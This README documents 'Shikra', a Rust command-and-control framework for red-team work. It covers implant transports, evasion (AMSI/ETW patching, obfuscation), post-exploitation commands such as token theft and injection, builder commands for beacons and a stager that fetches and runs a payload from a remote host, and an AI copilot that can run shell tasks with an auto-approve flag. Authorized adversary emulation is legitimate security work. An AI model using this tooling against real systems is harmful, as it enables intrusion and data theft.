Shikra is a cross-platform command-and-control framework written in native Rust, with a Tauri 2 operator console and a model-driven AI copilot. The implant is a single self-contained binary with six transport modes and an automatic fallback chain; the teamserver stores everything in PostgreSQL and speaks gRPC over mutual TLS. Shikra is a clean-room implementation inspired by Sliver's architecture β no third-party C2 code is vendored.
(The name: the shikra β Accipiter badius β is a small, fast, remarkably agile hawk.)
Warning
Authorized use only. Shikra is an adversary-emulation framework for
red-team engagements, scoped penetration tests, lab research, and detection
engineering. Using it against systems you do not own or have explicit
written permission to test is illegal in most jurisdictions. You are
responsible for compliance with your local laws and your rules of
engagement. See SECURITY.md for reporting vulnerabilities.
- π¦ Native Rust, single binary β teamserver, client, builders and implant all compile from one workspace; no interpreters on the target.
- π°οΈ Six transports, one payload β
session,beacon,quic,dns,wireguard, andfallback(try transports in order until one connects). - π End-to-end encrypted agent channel β X25519 β HKDF-SHA256 β ChaCha20-Poly1305 with replay protection, independent of the carrier.
- π₯οΈ Desktop operator console β Tauri 2 GUI with terminal, file browser, process list, listener control, payload builder, malleable profiles, extension registry, tunnels, team management, live event feed and an AI copilot behind an approval gate. It can host the teamserver itself with an embedded PostgreSQL β no database install required.
- π§© Extendable β Beacon Object Files (amd64 + arm64), signed WASM and native extensions, an extension pack/push/install registry, and an MCP bridge for AI tooling.
- π Detection-friendly β rate-limited enrollment, tamper-evident audit chain, canary tokens, per-peer throttling events, team RBAC.
- π¦ Releases ship operator tooling only β the CLI and console are published with SHA256 checksums, SBOM and build-provenance attestations; implants and stagers are never released.
The console is a three-zone workbench: a grouped navigation rail (operations / build / team / assistant), a table-first sessions workspace with live health and a details panel, and a persistent status bar (connection, session and listener counts, endpoint, clock). Double-click a session β or press Interact β to open its workspace with terminal, file, process, task and tunnel panes. Several sessions can stay open side by side as closable tabs: each tab keeps its own active pane, directory and terminal scrollback, its health dot live-updates, and dead tabs stay visible until closed.
Guardrails by default. Irreversible actions (stopping listeners, cancelling tasks, marking sessions dead, stopping the teamserver or the embedded database, reflective DLL loads, script deletion) ask for explicit confirmation; session-scoped controls stay disabled until a session is selected, and every list has a real empty state instead of a broken view.
Listeners get their own view with contextual actions and one-click payload wiring:
flowchart LR
subgraph WS["Operator workstation"]
direction TB
GUI["Shikra Console (Tauri 2)"]
CLI["shikra-client (CLI)"]
end
subgraph TS["Teamserver β shikra-server"]
direction TB
GRPC["gRPC control plane<br/>mTLS + bearer tokens"]
HTTP["HTTPS beacon listener<br/>malleable profiles"]
QUICL["QUIC listener"]
DNSL["DNS listener"]
WGL["WireGuard listener"]
DB[("PostgreSQL<br/>sessions Β· tasks Β· audit")]
end
subgraph TN["Target network"]
direction TB
S1["implant β session mode"]
S2["implant β beacon / quic / dns / wireguard"]
S3["implant β fallback chain"]
end
GUI -->|gRPC| GRPC
CLI -->|gRPC| GRPC
GRPC --> DB
S1 -->|agent link| GRPC
S2 -->|encrypted poll + tasks| HTTP
S2 -->|encrypted poll + tasks| QUICL
S2 -->|encrypted poll + tasks| DNSL
S2 -->|encrypted poll + tasks| WGL
S3 -.->|first transport that connects| HTTP
- Implant (
shikra-implant) β one binary, six modes. Tasks run in-process: shell, file transfer, screenshot, port scan, pivoting (TCP and named-pipe), token operations, BOF/WASM/native extension execution, and more. - Teamserver (
shikra-server) β Tokio/tonic gRPC (mTLS), an HTTPS beacon listener with live malleable-profile rotation, plus QUIC, DNS and WireGuard listeners that are started and stopped at runtime. All state lives in PostgreSQL; enrollment is rate limited and every operator action lands in a tamper-evident hash-chained audit log. - Operator tooling β a scriptable
shikra-clientCLI and the Tauri 2 console, sharing the same gRPC client library.
| Mode | Carrier | Typical use |
|---|---|---|
session |
long-lived TLS stream on the gRPC port | interactive operators |
beacon |
HTTPS polling with jitter | low-and-slow engagements |
quic |
QUIC on UDP | hostile networks that punish TCP |
dns |
DNS queries | egress restricted to a resolver |
wireguard |
WireGuard tunnel (userspace) | covert channel inside a VPN |
fallback |
ordered list, connects with the first that works | resilient defaults |
--mode fallback --fallback quic,http,dns,wireguardEvery transport carries the same end-to-end encrypted framing, so a beacon can migrate between carriers without changing the task protocol.
- Operator channel β TLS with a generated CA and client certificate pair; operators authenticate with bearer tokens.
- Agent channel β application-layer end-to-end encryption: X25519 key exchange β HKDF-SHA256 β ChaCha20-Poly1305, monotonic sequence numbers to reject replays. Framing is transport-independent.
- Enrollment β Ed25519 identity signatures bound to the session key, with single-use enrollment tokens.
- Extensions β Ed25519-signed packages are verified before execution.
sequenceDiagram
autonumber
participant I as Implant (beacon)
participant S as Teamserver
participant O as Operator
I->>S: enroll β token + X25519 kex + Ed25519 signature
S-->>I: session id + derived ChaCha20-Poly1305 keys
loop poll interval + jitter
I->>S: encrypted poll envelope
S-->>I: queued tasks or empty
end
O->>S: run task (gRPC)
S-->>I: task delivered on the next poll
I->>S: encrypted result
S-->>O: task output
Download the latest operator tooling from Releases (Linux, macOS and Windows; CLI + console), or build from source below.
Console-first: launch the console, pick Host teamserver, choose a state directory and click Prepare database β a private embedded PostgreSQL is provisioned automatically. The login screen also connects to existing teamservers with a CA file and operator token.
CLI path:
# Bootstrap: CA, server certificate, tokens, identity keys (0600).
shikra-server --bootstrap --state-dir ./state
# Run: only the operator channel binds at boot; beacon listeners start at
# runtime from the console or CLI.
shikra-server --state-dir ./state --database-url postgres://localhost/shikra
# Connect and list sessions.
export SHIKRA_SERVER=https://127.0.0.1:8443
export SHIKRA_CA_CERT=./state/ca.pem
export SHIKRA_OPERATOR_TOKEN=<operator-token>
shikra-client sessions# Start an HTTPS beacon listener (or use the console's Listeners tab).
shikra-client listener-start --kind http --addr 0.0.0.0:8080
# Build a beacon with the teamserver material baked in.
shikra-builder --name beacon-http --mode beacon \
--http-url http://127.0.0.1:8080 \
--enroll-token-file ./state/enroll.token \
--server-identity-file ./state/server-identity.pub \
--ca-cert ./state/ca.pem \
--output-dir ./builds --releaseMore builder examples β fallback chain, staged delivery, cross-compilation
# Resilient beacon: try QUIC, HTTPS, DNS, WireGuard in order.
shikra-builder --name beacon-auto --mode fallback \
--fallback quic,http,dns,wireguard \
--quic-url 127.0.0.1:8444 --http-url http://127.0.0.1:8080 \
--dns-url 127.0.0.1:5353 --dns-zone dns.shikra \
--wg-url 127.0.0.1:51820 --wg-server-public <server-wg-public-hex> \
--enroll-token-file ./state/enroll.token \
--server-identity-file ./state/server-identity.pub \
--ca-cert ./state/ca.pem --output-dir ./builds --release
# Cross-compile a Windows beacon and emit a staged-delivery pair
# (<name>.stage + <name>-stager) that fetches and runs the payload.
shikra-builder --name beacon-win --os windows --arch x86-64 --mode beacon \
--http-url http://10.0.0.5:8080 \
--enroll-token-file ./state/enroll.token \
--server-identity-file ./state/server-identity.pub \
--ca-cert ./state/ca.pem --output-dir ./builds --release \
--stager --stage-url http://10.0.0.5:8080/cdn/beacon-win.stageStrings are obfuscated at compile time with a random per-build seed; pass
--no-obfuscation for debugging. --profiles-file profiles.json bakes the
live malleable profile set into the payload.
A curated slice of what a session accepts (see
shikra-client --help for the full list):
| Area | Commands |
|---|---|
| Execution | shell, spawn, kill, execute-assembly, bof, run |
| File transfer | ls, cat, download, upload, rm, mkdir, cd, pwd |
| Injection | inject, migrate, dll-inject, dll-reflect, dll-spawn |
| Tokens / Kerberos | steal-token, make-token, rev2self, klist, ptt, purge, net |
| Recon | screenshot, portscan, ps, netstat, ifconfig, env |
| Pivoting | socks, portfwd, rportfwd, rportfwd-stop, pivots, pivot |
| Extensions | wasm-load/run/list/remove, native-load/run/list/remove |
| Registry | extensions, extension-pack, extension-push, extension-install |
| Listeners | listeners, listener-start, listener-stop |
| Profiles | profiles, profiles-set (live malleable C2 edits) |
| Team | operators, operator-add, operator-del, creds, loot, team canaries |
| AI | ai β tool-calling operator behind an approval gate |
Shikra ships an agentic operator that plans with an OpenAI-compatible model (DeepSeek, OpenAI, OpenRouter, vLLM, Ollamaβ¦) and executes the same tool surface from the console and the CLI. Every call passes through a three-tier approval gate:
| Tier | Tools | Behaviour |
|---|---|---|
| read-only | list_sessions, session_info, list_tasks, list_listeners, list_pivots, list_extensions, list_credentials, list_loot, fs_ls, fs_cat, ps, netstat, ifconfig, env_dump, wasm_list |
always allowed |
| mutating | run_shell, fs_upload, fs_download, portscan, screenshot |
needs --auto-approve, or one click in the console |
| destructive | bof_run, wasm_load, wasm_run, listener_start, listener_stop |
needs --auto-approve --allow-destructive or explicit approval β unknown tools default here |
The console panel streams every step: the plan, tool cards with risk badges,
arguments and results, and an approve/deny card whenever the gate requires a
human decision. Denied calls are fed back to the model, which adapts or
reports honestly instead of retrying blindly; tasks it launches are tagged
ai_initiated and surface as [ai] in shikra-client tasks.
# One-shot: read-only recon runs automatically, shell waits for the flag.
shikra-client ai "Triage the first session: identity, OS and interfaces."
# Full agentic REPL.
export SHIKRA_LLM_BASE_URL=https://api.deepseek.com/v1
export SHIKRA_LLM_API_KEY=sk-β¦ # or set it in the console panel
export SHIKRA_LLM_MODEL=deepseek-flash
shikra-client ai --auto-approveThe same settings live in the console's β¦ Copilot tab (persisted in the
console config with 0600); SHIKRA_LLM_* environment variables take
precedence.
- Compile-time string obfuscation (
shikra-obf) with random per-build seeds. - Windows agents resolve NT syscalls dynamically and call them indirectly; AMSI/ETW providers are patched before injection tasks.
- Beacon traffic sleeps under memory encryption and jitters its timing.
- Enrollment is rate limited per peer (30 attempts/minute) and authentication failures are recorded as throttled audit events.
- Canary tokens and reaction rules turn unexpected access into alerts.
See docs/OPSEC.md for the operational security guide and
docs/COMPARISON.md for a feature-by-feature comparison
with Sliver and Havoc.
| Document | Contents |
|---|---|
docs/OPSEC.md |
Operational security: build hygiene, transport selection, cleanup |
docs/COMPARISON.md |
Shikra vs. Sliver vs. Havoc |
CHANGELOG.md |
Release history |
SECURITY.md |
Vulnerability disclosure policy |
CONTRIBUTING.md |
Clean-room contribution rules (DCO) |
NOTICE |
Provenance and clean-room statement |
Requires Rust 1.88 (pinned by rust-toolchain.toml) and PostgreSQL 15+ for
integration tests.
cargo build --release
cargo build --release -p shikra-implant # agent binary
export SHIKRA_TEST_DATABASE_URL=postgres://localhost/shikra_test
cargo test --workspace
cargo clippy --workspace --all-targets
cargo fmt --all -- --checkEnd-to-end coverage lives in crates/server/tests/e2e.rs: enrollment, all six
transports, file transfer, tunnels, multi-hop pivots, port scanning, profile
rotation, staged delivery, extension registry, rate limiting and more.
The console builds with the Tauri 2 toolchain:
cd gui && cargo tauri dev # development
cd gui && cargo tauri build # bundle| Variable | Purpose |
|---|---|
SHIKRA_DATABASE_URL |
PostgreSQL connection string (required) |
SHIKRA_STATE_DIR |
State directory (CA, keys, tokens, profiles) |
SHIKRA_GRPC_ADDR |
Operator (gRPC) listener override |
SHIKRA_DNS_ADDR, SHIKRA_WG_ADDR, SHIKRA_DNS_ZONE |
UDP transports |
SHIKRA_LOG_FORMAT |
text or json |
SHIKRA_DNS_RESOLVER, SHIKRA_PUBLIC_IP |
Registration helpers |
SHIKRA_LLM_BASE_URL, SHIKRA_LLM_MODEL, SHIKRA_LLM_API_KEY, SHIKRA_LLM_TEMPERATURE |
AI copilot backend (override the console panel) |
Every tagged release is built by GitHub Actions on four platforms and ships operator tooling only:
shikra-<version>-<platform>β server, client and builder.shikra-console-<version>-<platform>β the Tauri console.SHA256SUMS, an SPDX SBOM, and build-provenance attestations.
The release workflow asserts that no implant or stager artifact ever reaches the published assets.
| Path | Contents |
|---|---|
crates/server |
Teamserver: gRPC, HTTP/QUIC/DNS/WireGuard listeners, audit log |
crates/implant |
Agent: transports, task handlers, post-exploitation |
crates/client |
Operator CLI and gRPC client library |
crates/proto |
Protobuf definitions |
crates/crypto |
E2E handshake, framing, token and certificate helpers |
crates/transport |
DNS/WireGuard transports, profiles, extension packages |
crates/store |
PostgreSQL persistence (sqlx) |
crates/builder |
Payload builder and stager generation |
crates/evasion |
Encoders, PE parsing, masking, sleep obfuscation |
crates/obf |
Compile-time string obfuscation macros |
crates/ai, crates/mcp |
AI copilot and MCP bridge |
gui |
Tauri 2 operator console |
migrations |
Database schema (sqlx migrations) |
docs, docs/assets |
OPSEC/COMPARISON guides and README artwork |
scripts |
Acceptance helpers |
Licensed under the GNU General Public License v3.0
(GPL-3.0-only). Third-party components are used under their own licenses (see
Cargo.lock and deny.toml).
Shikra is a clean-room implementation and contains no code from Sliver,
Havoc, Metasploit, Cobalt Strike, or any other C2 framework (see
NOTICE).
Use it only on systems you own or are explicitly authorized to test.
See CONTRIBUTING.md. All contributions must be clean-room
and are accepted under the Developer Certificate of Origin. Security reports
go through SECURITY.md, not public issues.





